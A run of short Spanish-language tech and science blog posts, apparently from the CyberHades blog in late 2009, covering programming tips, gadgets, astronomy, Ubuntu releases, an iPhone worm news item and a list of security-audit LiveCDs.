En la fantástica LifeHacker nos ofrecen algunos consejos para aprender a construir nuestros propios programas y sobre todo cómo empezar a programar.

Lo primero de todo un consejo, no te atasques al elegir un lenguaje de programación. Es un error común para principiantes pensar y complicarse en no saber qué lenguaje utilizar. La respuesta es simple, NO IMPORTA DEMASIADO. Comprender la estructura de los datos, control de flujo y patrones de diseño es mucho más importante. Todos los lenguajes de programación tienen algunos de estos  componentes que utilizarás en otros. Resumiendo, cambiar o usar otro lenguaje de programación se reduce a cambiar de sintáxis. Si tienes clara la metodología de programación, la elección de los lenguajes en secundaria. De todas formas, yo personalmente recomiendo siempre el lenguaje C.

¿Qué puedo programar y en qué plataforma/entorno?

¿Dónde está Apophis (2004 MN4)?

Continuamos con nuestra serie de ¿Dónde está... En este caso se trata de uno de los asteroides de la lista de "los más buscados". La diferencia entre que choque o pase muy cerca de la Tierra en 2036 es tan pequeña que los astrónomos no se ponen de acuerdo. No está clara su trayectoria hacia la tierra porque existen varios objetos que podrían acercarlo a la órbita terrestre, entre ellos la Luna. Con una medida de 250 m y una masa estimada en 2,1 × 10¹⁰kg es uno de los objetos más grandes que tienen órbitas entrecruzadas con la Tierra. Al estar girando en estos planos orbitales comunes se puede provocar, en un momento concreto (2029), una atracción por parte de un tercer objeto (Luna) y hacer que Apophis se desvíe muy poco, pero lo suficiente como para provocar un choque.

PayPal X

PayPal X es la nueva plataforma de pago que Paypal, que nos permite el manejo de transacciones monetarias en nuestras aplicaciones. Entre otros, esta plataforma nos ofrece la posibilidad de:

• Cambio de moneda usando los porcentajes actuales.
• Pagar a cualquiera, sin que éste sea usuario de PayPal.
• Pre-aprobación. Permite crear entre vendedor y comprador distintos acuerdos a la hora del pago.
• Envío de dinero.
• Pagos en cadena, permite que el pago de un individuo sea indirectamente repartido entre varias entidades, por ejemplo que algún intermediario se lleve su porcentaje.
• Pagos paralelos, es parecido al anterior, un pago se puede dividir en varios, pero este vez el pagador tiene conocimiento de que cantidad va a cada entidad.
• Cuentas PayPal adaptadas, permite al desarrollador integrar en su aplicación el proceso de autentificación de PayPal.

Fuente original.

Haz tu propio pac-man con aspiradoras!?

Las aspiradoras Roombas son esos discos giratorios que limpian el suelo y, se supone, que no dejan ni solo rincón de la casa sin pasar.

Si mezclas:  5 ó 6 roombas tuneadas + varios ingenieros frikis + laberinto en el suelo = megapartida de comecocos.

Página oficial: Roomba Pacman

Libro sobre Google Wave

Gina Trapani y Adam Pash han creado, todavía siguen trabajando en él, un libro sobre el uso de Google Wave titulado The Complete Wave Guide. Puedes acceder al mismo a través de este enlace. Este mes pondrán a disposición de los usuarios una version previa en PDF, previo pago de su importe, y en Enero esperan tener la primera versión final disponible tanto en PDF como impresa.

Visto en JavaHispano.

Islas vistas desde el espacio

Impresionante serie de fotografías de islas vistas desde el espacio.

Aprovechad a visitarlas en cuanto podáis pues parece que no queda mucho tiempo para que desaparezcan completamente, según Jeremy Rifkin.

Visto en Wired.com

Innovador anuncio de HP utilizando Tilt-Shift

Video de HP

Video creado con tilt-shift

Este impresionante spot de HP está realizado con una técnica fotográfica llamada tilt-shift. Aunque no lo parezca son escenas reales, algunos lo denominan: "como hacer que todo parezca un juguete" (traducción). Concretamente este video tiene una gran post-producción y realmente lo que parece (y añadiría): "como hacer que todo parezca un juguete grabado con una super 8". Estoy preparando un tutorial sobre la realización de escenas con lentes descentrables que pondré en breve.

HTC Magic y WiFi, solución a algunos problemas

Mi fantástico HTC Magic funciona bien en algunas WiFi y en otras no. Para colmo, la de mi casa es la que funciona peor de todas.  Algunos síntomas eran lentitud, se colgaba en el Android Market, poca señal aunque estuviera cerca del router, etc ...

Después de leer, probar y buscar alguna solución, he conseguido que de momento funcione perfectamente.

Independientemente del router que tengas, hay que buscar al menos estos tres parámetros, ojo estos cambios no tienen porqué afectar para nada a la navegación WiFi de otros aparatos que la usen, pero de todas formas antes de cambiarlos asegúrate de apuntar los valores originales y sobre todo hazlo bajo tu propia responsabilidad:

Bola de bolos controlada por control remoto

Por cierto, el del vídeo tiene que ser malo, porque ni con esa bola hace un strike! :-)

Flash + Firefox + Karmic Koala 64bits

Después de haber instalado la última versión de Ubuntu (Karmic Koala) todo ha ido de maravilla y la verdad es que estoy muy contento con el sistema por ahora. Pero nada en esta vida es perfecto y hoy me tropecé con el que es uno de los talones de aquiles en Linux a día de hoy, Flash! Me di cuenta de que los vídeos empotrados en páginas web no funcionaban. Podía ver la imagen de uno de los fotogramas, pero cuando pulsaba play dicho vídeo no se movía. Así que buscando en el sabio, di con esta entrada donde la solución que propone el autor me funcionó a la perfección… por ahora. Un apunte más, el sistema que uso es 64 bits.

Feliz cumpleaños Carl Sagan

Hoy sería el 75 cumpleaños de nuestro querido Carl Sagan, nada mejor que recordarlo con algunos videos y un enlace para ver grátis la mítica serie Cosmos:

Learning Cosmos

Blue Pale Dot versión Sigur Ros:

 

Ya conoces el texto, es el famoso "Blue Pale Dot", del que ya hemos hablado en CyberHades.

 A Gloriousus Dawn, Cosmos Remix:

La mejor versión del Blue Pale Dot:

Increible Jumbotron humano.

Impresionante. Parece una feria, menuda sincronización.

Invitación de boda 8-bit

Original desde luego.

Visto en Neatorama.

China quiere Juegos Olímpicos sólo para robots

El evento internacional se celebrará en la ciudad de Harbin, al nordeste del país, y albergará a robots de todo el mundo, que competirán en 16 categorías: atletismo, futbol, ciclismo... estas son las más normales, después estan las concernientes a actividades propias de humanos como limpiar o transportar. Hasta ahora la única regla es que tienen que tener dos piernas y dos brazos (forma humanoide) ya que las ruedas están prohibidas.

"Tienes 5 segundos"

Reglas WEB:

REGLA Nº 1: si después de cinco segundos no aparece algo en la pantalla que represente una respuesta o, al menos, la promesa de que algo interesante va a ocurrir, el usuario se va.

REGLA Nº 2: si no sabías la regla nº 1 leete el nuevo libro en pdf de Juan Carlos Camus sobre la creación de contenidos digitales.

Primer gusano para iPhone

Desde Ausralia, están reportando los usuarios de iPhone lo que se podría considerar el primer gusano para este dispositivo. El gusano no aprovecha ninguna vulnerabilidad del sistema para llevar a cabo su cometido, que en este caso no es más que cambiar la imagen de escritorio por una de Rick Astley. De lo que se aprovecha el gusano es de la dejadez de los usuarios, que después de haber roto la protección del teléfono (jailbreak) e instalado OpenSSH, no se preocuparon de cambiar la clave por defecto. Así que el gusano simplemente busca a través de la red 3G los terminales que tienen corriendo SSH e intenta conectarse usando las credenciales por defecto.

El clásico libro, Graphics Programming Black Book

Si alguna vez te has interesado por los gráficos de ordenador, seguro que te suena el libro Graphics Programming Black Book de Michael Abrash. Aunque ya es bastante viejo, está totalmente liberado por su autor y tiene muchas cosas de interés. Michael Abrash trabajó como columnista en la prestigiosa revista de programación Dr Dobb's Journal y el libro es una recopilación de trabajos anteriores en dicha revista, donde se le añadió más contenido a la hora de publicarlo como un libro.

Copy & Paste

Enlace original

UDK: Unreal Development Kit, disponible y gratuito

¿Has querido siempre hacer un juego como el fantástico Gears of War o Unreal Tournament?, pues ya no tienes excusa. Epic ha puesto a disposición de manera gratuita (eso sí, no comercial) de su kit de desarrollo de juegos UDK. Esto quiere decir que tienes el potencial del motor del Unreal 3 para crear escenas, juegos o lo que quieras.

 

Este kit contiene todo lo que necesitas para crear juegos, visualizaciones avanzadas o simulaciones en 3D. Tiene un completo entorno de edición desde el cual controlas todas las funciones del kit. Además tiene un poderoso lenguaje script (UnrealScript) de alto nivel para construir todo lo que quieras. Por otro lado incluye toda la física del mundo real, dinámica de fluidos, cuerpos, etc ... Terreno, vegetación, nieve también están incluidos en el kit de desarrollo. Y para colmo, incluye también conectividad LAN para juegos en red.

Competición de dioramas Star Wars

La empresa Hasbro ha realizado una competición de dioramas basados en Star Wars y en sus figuras.

La calidad de los trabajos es realmente espectacular (sólo tienes que ver el que encabeza este post, donde se recreea el momento de congelar a Han Solo), echa un vistazo a todos en la web donde los he visto:

Geekologie.

Herramientas de UML de código abierto

UML, lenguaje unificado de modelado, es un lenguaje que nos ayuda al diseño de sistemas de una forma visual y muy cómoda. En esta entrada no voy a hablar del lenguaje en si, sino más bien de varias de las herramientas de código abierto que podemos usar a la hora de diseñar nuestro sistema.

1.- StarUML (Sólo Windows). 2.- Plugin UML para NetBeans (al ser un plugin para Netbeans podrás usarlo en cualquier plataforma donde corra dicho IDE). 3.- Acceleo (empotrado en Eclipse, al igual que el anterior podrás usarlo donde Eclipse corra). 4.- ArgoUML (escrito en Java). 5.- BOUML (Corre sobre Solaris, Unix, Linux, MacOS y Windows). 6.- Eclipse UML2 tools (Extensión para Eclipse). 7.- Umbrello UML Modeller (basado en QT, así que correra donde tengas KDE). 8.- UMLet (además de una versión stand alone, también proveen de un plaugin para Eclipse). 9 .- TinyUML (escrito en Java. Requiere la versión 6). 10.- Taylor (extensión para Eclipse). 11.- Papyrus UML (dispones de una versión stand alone para Linux, Windows y MacOS, así como de un plugin para Eclipse).

A la Armada Americana se le ordenó escuchar a los …

Puede parecer un hoax de Halloween pero no, es un telegrama real enviado en 1924 por el Secretario de la Armada (Navy) a todas las estaciones navales en las que se les ordenaba cooperar con los astrónomos para intentar escuchar señales de comunicación enviadas por los posibles marcianos.

Ojo al texto porque no tiene desperdicio, voy a intentar traducirlo (perdón por los errores):

"ALNAVSTA OCHO DE LA ARMADA DESEA COOPERAR CON LOS ATRÓNOMOS LOS CUALES CREEN QUE ES POSIBLE QUE MARTE INTENTE COMUNICARSE MEDIANTE ONDAS DE RADIO CON ESTE PLANETA MIENTRAS ELLOS ESTÁN CERCA  TODAS LAS ESTACIONES DE RADIO ANOTARÁN Y REPORTARÁN ESPECIALMENTE CUALQUIER FENÓMENO ELÉCTRICO DE CARACTER INUSUAL Y CUBRIRÁ TODO EL ANCHO DE FRECUENCIAS DE RADIO QUE SEA POSIBLE DESDE LA 2400 AGOSTO XXI A LA 2400 AGOSTO XXIV SIN INTERFERIR EL TRÁFICO EN LA 1800."

Ef, post rock del bueno desde Suecia

 

 

Ef es un grupo sueco formado por Tomas Torsson, Claes N Strängberg, Jonatan Hammar y Niklas Aström.  En mayo de 2006 sacaron su album debut llamado: "Give me beauty ... Or give me death" y el último es "I Am Reponsible", aunque tienen otros discos en formato EP.

Pero para conocerlos mejor, vamos a escuchar algo de ellos:

Ef - Ett

Fantástico trailer de Alicia en el País de las …

 

 Buscando información para el post anterior sobre Alicia en el Pais de las Maravillas, me he quedado alucinado viendo el trailer de la nueva película de Tim Burton.

En YouTube lo puedes ver en alta definición, pulsa aquí.

OpenOfficeMouse

Es el primer ratón especialmente diseñado para la suite ofimática OpenOffice.org. Estas son las características de dicho dispositivo:

• 18 botones programables con doble click.
• Tres modos de botones: Key, Keypress y Macro.
• Joystick analógico.
• Botón en la rueda de scroll.
• 512k de memoria flash.
• Hasta 63 funciones programables.
• Soporta macros de hasta 1024 caracteres.
• Resolución desde 400 hasta 1600 CPI.

Demasiados botones para mi.

Visto en Slashdot.

Alicia en el País de las Maravillas y las …

Este fantástico relato de Lewis Carroll (matemático además de escritor)  es uno de mis favoritos, tanto por lo enigmático de los personajes como el extraño sentido del humor y los juegos de lógica que propone a lo largo de todo el libro.

Es inevitable no pensar que existe algo más detrás de esta historia aparentemente infantil, a medida que recorres sus páginas.

Eso sí, para leerlo, o lo haces en inglés lo cual es perfecto, ya que tiene multitud de juegos de palabras casi imposibles de entender en una traducción, o te compras una edición que esté bastante bien anotada.

Intel demandada por monopolio, amenazas, …

Nuestro colega Macpherson nos ha enviado esta noticia bastante interesante. Al parecer la Fiscalía de Nueva York ha demandado a Intel por  monopolio, intimidación y amenazas y coacciones (toma ya).

Ya le sancionó Europa con 1.060 millones de euros a principios de este año, sanción incluso superior a la de Microsoft (497 millones de euros).

Ahora se le acusa a Intel de haber estrangulado el mercado violando las leyes antimonopolio y firmando grandes acuerdos con Dell y HP para la exclusividad en el uso de sus microprocesadores.

Google Closure Tools

Google ha hecho público lo que ellos llaman Closure Tools. Es un conjunto de herramientas que nos ayudarán con el desarrollo en JavaScript de nuestras aplicaciones web.

Closure compiler Esta herramienta, básicamente lo que hace es comprimir nuestros ficheros JavaScript, eliminando los espacios en blanco y sustituyendo las variables por nombres más cortos. Además de eso, también es capaz de detectar errores comunes en dicho lenguaje. Junto con este compilador, también puedes usar Closure Inspector. Éste es una extensión para Firebug, que te permitirá depurar tu código JavaScipt ofuscado como si no lo estuviera. El compilador esta disponible en tres formas distintas: línea de comandos, aplicación web y API RESTful.

PDF Fill, herramientas gratuitas para editar PDF

Windows

En la web del producto PDF Fill, podrás encontrar varias herramientas para poder hacer cualquier tipo de operación sobre un PDF:

Free PDF Writer: crea PDF sin marcas de agua ni publicidad. Permite optimización (comprimir), añadir descripción, seguridad por contraseña o encriptación, rotar, cortar, etc ... Descárgalo aquí.

Free PDF Tools: kit de herramientas para poder unir, dividir, reordenar, encriptar, rotar, cortar, convertir imágenes a PDF, PDF a imágenes ... cualquier PDF. Todo esto sin nada de publicidad ni marcas de agua. Descárgalo aquí.

Gafas traductoras para 2011

Son lentes inteligentes que presentan subtítulos de forma automática cuando se hablan palabras o frases extranjeras. Creadas por NEC y bautizados Tele Scouter, son una herramienta de negocios que puede ayudar, por ejemplo, al personal de ventas a recibir -en la retina de su ojo- información sobre el registro de compras del cliente durante una conversación.

"Estos lentes llevan un micrófono que recoge las voces de ambas personas en la conversación" "Posteriormente las transfiere a un software de traducción y sistemas de voz a texto y después envía la traducción del texto a las retinas de cada individuo, en el idioma de cada persona que usa el aparato" explicó a la BBC Don DePalma experto en tecnología.

Realidad Virtual en su máxima expresión

 

Si a la visión digital le añadimos el poder andar de forma natural, creamos una verdadera sensación de inmersión total en un mundo virtual. Han habido varios intentos de permitir que una persona camine físicamente en un mundo virtual, desde zapatos especiales a alfombras (mira el video de abajo), pero este que os muestro en el video de arriba es quizás el más espectacular de todos, la plataforma CyberWalk.

Llega el Tardigotchi

El tardigotchi es un nuevo gadget que combina una mascota virtual con una "real". En una mitad de su esfera puedes encontrarte con un tardígrado, al cual puedes ver a través de una minicúpula de cristal. Al otro lado, puedes ver a su avatar: Gotchi, un tamagochi a la antigua usanza.

Los tardígrados son organismos de ocho patas, resistentes a cualquier condición ambiental, que se nutren de musgos y viven hasta 100 años.

Drew Gardner, el maestro de la iluminación

Anteriormente hemos hablado de auténticos maestros de la fotografía como Peter Ginter, Andrzej Dragan o Gregory Colbert. Hoy le toca al denominado  “maestro de la iluminación”: Drew Gardner. En todos sus trabajos se puede entrever una historia ligeramente humorística o surrealista. Muy recomendable para fotógrafos que quieran sacar ideas o para no estancarte en una temática. Posee un extenso portfolio con varias galerias:

Mercurio a revisión: la Messenger detecta nuevos …

Vista de Mercurio obtenida por la sonda Messenger. | NASA.

La sonda Messenger, de la Nasa, detectó mayor concentración de hierro y de titanio en la superficie de Mercurio de lo que se imaginaba. Los nuevos datos sobre su composición abren interrogantes sobre el origen de este planeta. Ahora algunos expertos afirman que Mercurio se formó principalmente con restos de un cuerpo que colisionó con la Tierra. Estas teorías afirman que Mercurio es, en su mayor parte, un vestigio del núcleo de un cuerpo que perdió sus capas externas en esa poderosa colisión en el pasado.

Detectando planetas y sistemas solares …

Hasta ahora, hemos contado casi uno a uno todos los exoplanetas que han ido apareciendo (358 hasta hoy), pero todos tenían una características, están orbitando estrellas dentro de nuestra Galaxia.

En Junio pasado, usando una técnica llamada Pixel lensing, un grupo de científicos podrían haber detectado el primero fuera de nuestra Galaxia, en concreto en la galaxia de Andrómeda. Esta estrella en la M31 tiene un compañero de unas 6 veces la masa de Júpiter, lo que podría ser o una enana marrón o un planeta.

FunkyTown tocada con componentes retro

Utilizando un Commodore 64 que hace de guitarra y bajo, un modem Intel 14.4 para la primera parte del estribillo, un TI-99/4A para la segunda, lo mismo como sintetizador, una impresora Avaya matricial para la batería y un disco duro Maxtor para las voces.

Visto en TechEBlog.

Trailer "Prince of Persia, The Sands of Time"

Prince of Persia: The Sands of Time Trailer Park | Vídeo MySpace

10 Técnicas impresionantes y ejemplos de animación …

Si programas páginas web, conoceras seguro jQuery. Esta impresionante biblioteca de Javascript te permite crear, entre otras muchas cosas, alucinantes animaciones para tus páginas. Todo lo que necesitas es aprender a manejar su API que es bastante intuitiva, y con un poco de creatividad podrás crear efectos como estos:

Efectos de humo. Ejemplo.

Tarjetas animadas. Ejemplo.

Efectos de flotación de objetos, reflejos y sombras. Ejemplo.

Efectos de scroll para el fondo. Ejemplo.

Consejos para la contraseña

Entre seis y ocho caracteres pero, sobre todo, no se la digas al loro... uuaarrrg!! :-) Estos de google y su "buen ambiente de trabajo"

Visto en mundogeek.net

Proyecto: aeropuerto flotante para San Diego

El problema de los aeropuertos es que son muy ruidosos y no pueden estar cerca de las zonas pobladas. Esto se resuelve con los aeropuertos flotantes.

Costaría 20.000 millones de dólares, pero es que tiene cinco pisos y 200 millones de metros cuadrados, toda una ciudad con espacio para hoteles, restaurantes y hasta universidades.

Aeropuerto flotante en la bahía de Osaka

Visto en gizmodo.es

World Solar Challenge

La carrera de coches solares más famosa terminó el pasado 28 de Octubre. La universidad de Tokai fue la vencedora. El reto consiste en realizar los 3.021 Km que separan Darwin y Adelaida en el menor tiempo posible. Lo hicieron en 29 horas y 49 minutos a una media de 100 Km/h y una máxima de 150 Km/h!!!

Visto en engadget.com

Grafícos de películas, por xkcd

 

Todos conocemos las fantásticas historias de humor de xkcd. Pues ahora se han currado cuatro gráficos espectaculares donde explican la interacción de los personajes y la historia de las películas El Señor de los Anillos, La Guerra de las Galaxias, Doce Hombres sin Piedad, Jurassic Park y Primer (sin duda el mejor resúmen).

Haz click sobre el gráfico para verlo a tamaño completo.

Fantástico, de un plumazo toda la historia resumida con sentido del humor y todo.

20 Enero 2010, empieza la temporada final de Lost

20 de Enero 2010

Televisión LCD devuelta a la vida en una carcasa …

El problema que tenía era que la luz de atrás (la de fondo) de apagaba y encendía durante algunos segundos y luego repetía el proceso. Al desmontarla y probarla apareció la solución, era un problema de conductividad provocada por la carcasa metálica de la televisión.

Solución, carcasa de LEGO.

No os perdáis todas la fotos en el enlace original.

Visto en HackADay.

Documentales

La semana pasada eran 28, hoy son 31 los documentales que podemos encontrar en CosmoLearning. Todos ellos relacionados con la informática, desde su historia, temas de actualidad como la piratería o la seguridad, etc. Documentales realizados por empresas como la BBC o Discovery Channel, pasando por la archiconocida 2600, entre otros. Una gran fuente de información que no tiene desperdicio alguno.

Las mejores fotos del lanzamiento del 1-X

Ya hablamos sobre Ares 1-X aquí, ahora puedes ver las mejores fotos del lazamiento de prueba  realizado hace unos días:

io9 See The Ares 1-X Launch Like Never Before

Al parecer no fue todo lo exitoso que se esperaba, después de analizar los sensores y las partes recuperadas del cohete.

Más información en:

FayerWayer

Los chicos de The Big Bang Theory son …

Microsoft Certified Technology Specialist (MCTS), o sea, expertos certficados en sistemas de Microsoft, fijáros en la parte izquierda de este fotograma.

Eso al menos hemos observado en el capítulo 3 de la tercera temporada de esta fantástica serie que no podéis perderos (por cierto este episodio es especialmente bueno).

La verdad es que si nos ponemos a observar un poco en la decoración y los libros de la casa vamos a encontrar muchas más sorpresas.

10 gadgets útiles para Vista y Windows 7

Después de pensar siempre que esa barrita no es útil, en los últimos días estoy empezando a cambiar de opinión y he usado algunos gadgets que la verdad hacen algunas funciones muy útiles.

Estas son algunas de las que tengo, que no son los que vienen por defecto con Windows Vista (yo uso dos siempre de ellas, el cambio de moneda y el tiempo):

1. System Control. Muy útil, cada botón es un acceso directo a apagar el equipo, ejecutar, barra de tareas, línea de comandos, etc ... 
2. App Launcher. Justamente eso mismo, puedes colocar las aplicaciones que más utilices dentro del gadget y abrirlas con solo un click. Puedes incluir también el Panel de Control, Mi Pc, etc.. con sólo arrastrar.
3.  ClipBoard Manager. Perfecto para no perder nunca algo que has copiado al portapapeles, ya que tiene un historial y todo (incluso puedes crear tus favoritos).
4. Languaje Translator. Traductor que usa Google Translator que te permite traducir frases entre varios idiomas.
5. Twadget. Indispensable si usas Twitter.
6. Wireless Network Meter. Cantidad de información sobre tu conexión WiFi, IP, velocidad de descarga/subida, SSID y mucho más.
7. uTorrent Stats. Controla la velocidad de subida y descarga de uTorrent, así como pausarlo y reanudarlo sin tener que abrirlo.
8. zCalendar. Calendario con más opciones que el trae por defecto Vista. Permite programar alarmas, notas (y te marca los días), el sonido que quieres para a las alertas, etc.
9. SysInfo. Aplicación muy configurable para mostrar lo que quieras del sistema.
10. Gmail Reader. Para ver los emails que tienes en Gmail y con un click, acceder a tu buzón.

Si quieres más:

Rompiendo records en RockBand para iPhone

 

Rockband para iPhone acaba de salir al mercado y ya ha sido humillado. Y no por humano, ya que es imposible conseguir ciertas puntuaciones, sino por un robot. En concreto, por un Arduino.

Funciona de la siguiente manera. Tiene varios sensores de luz para detectar el paso de uno de los colores por cada una de las bandas. Cuando se detecta un color, entonces se activa un pequeño motor que activa un pequeño palo de plástico con un trozo de espuma de embalar en la punta (esas que se usan para embalar materiales electrónicos sensibles). Como el iPhone usa sensores capacitivos para su pantalla táctil, no puedes usar nada que no sea conductor. Por eso el autor del robot puso unos hilos de cobre dentro de los trozos de espuma que luego conectó también a los servos... increible y muy efectivo.

Algunos proyectos e ideas para Halloween

 

Hasta 30 proyectos e ideas para hacer esta noche de Halloween lo más terrorífica posible.

Nos ha gustado mucho este proyecto de “monstruo en una caja”:

Todos los proyectos en:

HackNMod

Nintendo DSi LL, en acción

La recién presentada nueva Nintendo DSi LL ha hecho una aparición estelar en un programa de televisón japonés:

Parece que estará disponible en tiendas a  principios de 2010.

Visto en TechBlog y GameOver.es

Acuario laberinto

Un acuario para que los peces no se aburran :-)

Fuente.

Primavera en el hemisferio norte de Marte. …

En Universe Today hablan sobre un tweet del equipo de la Mars Phoenix:

@MarsPhoenix "¡La primavera ha llegado al hemisferio norte de Marte!. El equipo está esperando los días con más horas de luz, alrededor de Enero, para escuchar a nuestra sonda."

En el encabezado de este post,  podéis ver unas imágenes tomadas por la Mars Reconnaissance Orbiter (haz click sobre ella para verla con mejor resolución), en Agosto de 2009 donde podéis ver una comparación del lugar de aterrizaje de la Phoenix desde Diciembre de 2009 a Agosto de 2009. Es perfectamente visible la nieve de CO2.

Nuevo trailer de Avatar

Avatar, la nueva y esperada película de James Cameron. Nuevo trailer con más imágenes espectaculares, parece un videojuego en vez de una película.

SciFiWire

Portátil Kohjinsha con pantalla dual

 

NOP y yo tenemos un Kohjinsha y la verdad es que aún no hemos visto en el mercado nada mejor (y lo tenemos hace más de un año).

Hasta hoy, que hemos visto este nuevo modelo que la verdad nos ha dejado con la boca abierta. Algunas característifcas, procesador a 1.6Ghz AMD Athlon Neo MV-40, 4GB de RAM y 160GB de disco duro.

Hispasec cumple 11 añitos

Hipasec cumple 11 años y además nos regalan su libro. Copio y pego el texto original de la noticia del 28 de Octubre.

Hoy, 28 de octubre, se cumple el undécimo aniversario de "una-al-día", primer diario de información técnica sobre seguridad informática en español. Sobrepasamos la década informando sobre virus, vulnerabilidades, fraudes, alertas, y reflexiones sobre la seguridad en Internet. Más de 4.000 noticias. El año anterior, lo celebramos poniendo a la venta un libro que festejaba la primera década. Este año, regalamos el libro en formato digital.

Seguimos peleándonos con la saturación de información que proporciona la web 2.0, intentado diferenciarnos en cuestión de calidad técnica e independencia de los artículos. Sigue intacta la capacidad de decir lo que queramos cuando queramos, sin ningún tipo de presiones. Lo que nos resulta mucho más complicado en estos días, es ser los primeros (o a veces incluso puntuales) a la hora de ofrecer la información. Existen ahí fuera excelentes blogs, cuentas en twitter, facebook y páginas dedicadas a la seguridad, y nos parece estupendo porque es el lector el que finalmente sale ganando con tanta oferta. Estamos muy orgullosos de seguir produciendo una-al-día y poder ofrecerlas a nuestros suscriptores, que entre todos los canales de distribución, suman muchas decenas de miles.

Hoy vamos a regalar en formato PDF el libro que publicamos el año pasado. Además, lo hemos complementado, ampliado y corregido. Ahora abarca desde 1998 hasta 2009. Durante todo un año se ha podido comprar solo en papel. Nuestra idea no era hacer negocio con él, sino que fue concebido como un detalle para todos los seguidores de una-al-día que querían conservar un recuerdo físico del décimo aniversario. Ahora, pasado un año, todo el que lo desee puede descargarlo desde esta URL:

http://www.hispasec.com/uad/index_html

Convertido en una reedición que abarca un año más que la edición del año pasado. Por supuesto, también quien lo desee puede seguir comprándolo en papel.

Gracias a todos. En especial, a nuestros fieles suscriptores: desde la primera persona que leyó el boletín en octubre de 1998, hasta el usuario del último correo que se ha suscrito al servicio hace apenas unos minutos.

Felicidades Hispasec y que cumplas muchos más.

Esquema de "Velocidad x Costo" de Internet.

El gráfico muestra la relación costo/velocidad del servicio de Internet en los 20 países participantes del ITIF Broadband Ranking.

Atención a Japón... y a España.

Visto en tecnopadres.com

¿Nueva Nintendo Wii 2 con Blue-Ray y 1080p en …

Es sólo un rumor, pero ya sabéis lo que suele ocurrir con este tipo de rumores en Internet (la mayoría es falso, pero siempre queda algo de verdad).

• Blue-Ray, seguro para parar la piratería
• 1080p (alta definición), para el Blue-Ray y los juegos
• Se podrá a la venta a nivel mundial el mismo día
• Se creará una oferta para entregar tu vieja Wii para abaratar la nueva

Bueno, prudencia que sólo es un rumor, pero tiene buena pinta.

Visto en Ripten.

Global Warming

Uno de los mejores anuncios que he visto, el final es espeluznante.

Censo estelar de la Vía Lactea

Gaia es una misión espacial europea que se lanzará en 2012 que tiene como objetivo crear el mapa tridimensional de nuestra Galaxia más preciso y más extenso que jamas haya existido. Para ello llegará a inspeccionar más de 1000 millones de estrellas.

Gaia creará un mapa con los movimientos de las estrellas logrando una precisión del orden de 20 microsegundos de arco (equivalente al ángulo creado por una moneda de un euro sobre la Luna vista desde la Tierra). Además, mediante una clasificación fotométrica proporcionará detalles de las propiedades físicas de todas las estrellas observadas: luminosidad, temperatura, gravedad y composición elemental, permitiendo conocer información básica sobre el origen y la evolución de nuestro Universo.

Ubuntu 9.10 "Karmic Koala" disponible

Hoy ya está disponible la nueva versión de nuestro querido Ubuntu, la 9.10. La primera novedad en la instalación, donde se ha incluido información útil para leer mientas arranca.

Resumiendo mucho,  tenemos GRUB2, el gestor de arranque de Ubuntu en la que veremos una nueva pantalla de arranque y algunas otras características nuevas. Se ha implementado también el  KMS, Kernel modesetting, que mejora la restauración de la pantalla cuando vuelve de un modo suspendido (para tarjetas gráficas Intel). Se añade también el nuevo Ext4, sistema de ficheros Linux, el más rápido. Se ha optimizado también el tiempo de arranque para conseguir que tarde el menor tiempo posible en arrancar. También lleva Gnome 2.28 con muchas nuevas características implementadas.

CyberHades, también en Twitter

Hemos añadido en la barra de la derecha un nuevo widget donde podéis ver nuestros comentarios en Twitter:

http://twitter.com/cyberhadesblog

¡El Geek Errante vuelve!

Parece que han escuchado nuestra llamada y hemos recibido una respuesta de los chicos de El Geek Errante.

Mirando en su web, en concreto en EGE/Twiter, parece que grabarán la semana que viene un nuevo podcast, en concreto el número 42.

Estamos ansiosos por vuestro regreso.

El Geek Errante.

¡CyberHades llega a 2.000 entradas en el blog!

Hoy día 29 de Octubre (por cierto felicidades Jorge y Guillermo) CyberHades ha publicado 2.000 entradas en el blog.

Espero que lleguemos a muchas más.

Gracias a todos por leernos.

Un abrazo.

10 objetos malditos de películas que no querrías …

 

Ahora que se acerca Hallowen, es un buen momento para recordar algunos objetos que aparecen en películas que seguro no querrías tener, por las consecuencias que te pueden acarrear.

La lista oficial de SciFiWire es de 15 (abajo tienes el enlace), pero he seleccionado nuestra propia colección especial de 10 (sin orden):

Estos son:

Caja Puzzle de Hellraiser. Un cubo de rubik arcano que no querrás resolver nunca.

Un iMac de casco Cylon

Si yo tuviera la mitad de tiempo que algunos...

Visto en gizmodo.es, con video incluido.

25 guías de referencia rápida (sheatsheets) sobre …

Ya sabéis que en CyberHades nos gustan las hojas de consulta rápida (sheatsheets) ó chuletas, pues para nuestra colección hemos visto estas 25 en el blog sobre UNIX/Linux en:

DaboBlog

Y que puedes descargar desde aquí.

Jabones para geeks

Para lavarte como un Geek!! Puedes ver el resto aquí.

La historia de Google

Visto en LifeHacker.

La Última Cena, con cubos de rubik ...

Qué paciencia … 4050 cubos …

Visto en OffWorld.

Problemas técnicos en CyberHades

 

Uf, hemos tenido algún problemilla técnico pero nuestro compañero Chorch ya lo ha solucionado todo …

Internet a los 40

En guadian.co.uk, le dan un repaso a la historia de internet desde su nacimiento en 1969 hasta la fecha de hoy, pasando por los acontecimientos más importante del transcurso de todo ese tiempo. Y con muchas curiosidades que seguro que no sabías hasta ahora. Como cuando se mandó el primer Spam. Es una presentación interactiva y puedes ir moviéndote entre los distintos años.

Muy recomendable.

Todos los sonidos del inicio y apagado de Windows

 

Todos los sonidos de inicio y apagado desde Windows 3.11 hasta Windows Vista.

No es que seamos masocas ;), somos nostálgicos, seguro que te hace recordar buenos tiempos cuando escuches estos sonidos.

A mi en concreto, el de Windows NT sólo me produce escalofríos ;) , como a nuestro amigo Bender: 

Visto en Geekologie.

Amelia Earhart, el vuelo final.

Amelia Earhart abordo de su Lokheed Vega 5b con el que batió varios records de velocidad

Amelia Earhart está considerada como la sucesora de Lindbergh, pero lo cierto es que, aunque el fue "el primero", ella lo superó varias veces en su corta carrera. Cuando atravesó el Atlántico hizo de golpe:

• Récord por cruzarlo en el menor tiempo.

• Primera persona en hacerlo dos veces.

  Algunas distribuciones LiveCD de seguridad

  

  Desde una de nuestras web favoritas, Security by Default, nos ofrecen este listado de LiveCDs para auditorías de seguridad:

  <li><a href="http://remote-exploit.org/backtrack_download.html">BackTrack 4</a></li>
  <li><a href="http://www.nubuntu.org/">nUbuntu</a></li>
  <li><a href="http://samurai.inguardians.com/#">Samurai Web Testing Framework</a></li>
  <li><a href="http://www.networksecuritytoolkit.org/nst/index.html">Network Security Toolkit</a></li>
  <li><a href="http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project">OWASP Live CD</a></li>
